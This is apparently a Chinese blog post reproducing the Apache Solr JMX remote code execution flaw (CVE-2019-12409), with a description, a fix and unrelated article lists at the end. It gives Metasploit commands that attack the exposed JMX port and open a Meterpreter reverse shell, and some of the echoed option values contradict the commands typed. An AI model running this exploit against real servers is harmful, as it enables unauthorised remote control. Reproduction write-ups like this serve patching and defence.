Apache Solr JMX服务远程代码执行漏洞复现
0x00 漏洞介绍
该漏洞源于默认配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置选项存在安全风险。
Apache Solr的8.1.1和8.2.0版本的自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS="true"选项。
如果使用受影响版本中的默认solr.in.sh文件,那么将启用JMX监视并将其暴露在RMI_PORT上(默认值= 18983),
并且无需进行任何身份验证。 如果防火墙中的入站流量打开了此端口,则具有Solr节点网络访问权限的任何人都将能够访问JMX,
并且可以上传恶意代码在Solr服务器上执行。该漏洞不影响Windows系统的用户,仅影响部分版本的Linux用户。
0x01 影响版本
Apache Solr8.1.1和8.2.0版本
0x02 漏洞危害
如果受害者使用了该默认配置,则会在默认端口18983开放JMX服务,且默认未开启认证。任何可访问此端口的攻击者可利用此漏洞向受影响服务发起攻击,执行任意代码。
0x03 准备工作
1) 搭建环境
安装Apache Solr 8.20
wget https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip
2) 启动环境
0x04 漏洞复现
1) 访问默认端口 8993 出现以下界面正面漏洞环境搭建成功
2) 攻击机操作
第一步
msf5 > use exploit/multi/misc/java_jmx_server
msf5 exploit(multi/misc/java_jmx_server) > set RHOSTS 192.168.50.33
RhOSTS => 192.168.50.33
msf5 exploit(multi/misc/java_jmx_server) > set RPORTS 18983
第二步
msf5 > use java/meterpreter/reverse_tcp
msf5 payload(java/meterpreter/reverse_tcp) > set LHOST 127.0.0.1
LHOST => 192.168.50.33
msf5 payload(java/meterpreter/reverse_tcp) > set LPORT 192.168.50.33
LPORT => 4444
msf5 exploit(multi/misc/java_jmx_server) > run
0x05 修复方案
将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务。
0x06 参考链接
https://www.t00ls.net/articles-53901.html
https://github.com/jas502n/CVE-2019-12409
最新文章
- mysql 内连接、左连接、右连接
- Java并发编程学习笔记(一)——线程安全性
- Apache-Jemeter web性能测试工具使用
- poj 1286&;&;poj2409 Polya计数 颜色匹配
- 使用 array_multisort 对多维数组排序
- http 303 307 302 状态码理解
- VS2008使用技巧及快捷键大全
- Android模拟器avd的创建、使用和调试相关命令
- bzoj1055
- ASP.NET 定时通知
- String,StringBuffer与StringBuilder差异??
- 用VB把xls转换为xlsx
- eclipse中安装配置maven
- rust visual studio editoe &; debugger
- Redis系列(二):Redis的数据类型及命令操作
- RBAC 基于权限的访问控制 serviceaccount -- clusterRole clusterRoleBinding
- nginx启动报错:Job for nginx.service failed. See 'systemctl status nginx.service' and 'journalctl -xn' fo
- 逆袭之旅DAY30.XIA.集合
- webbrowser 响应关闭事件
- HTML 转 PDF 之 wkhtmltopdf 工具精讲
热门文章
- 创建自定义的RouteBase实现(Creating a Custom RouteBase Implementation) |定制路由系统 |
- JavaScript(2)---DOM详解
- influxdb+Grafana+jmeter监控搭建
- HttpClient介绍和使用
- postman的简单介绍及运用
- VMware workstation 虚拟网络 三种上网区别
- Java 加密/解密Excel
- 十五 awk文本处理
- css- :before :after
- pdo数据操作,3-4,0724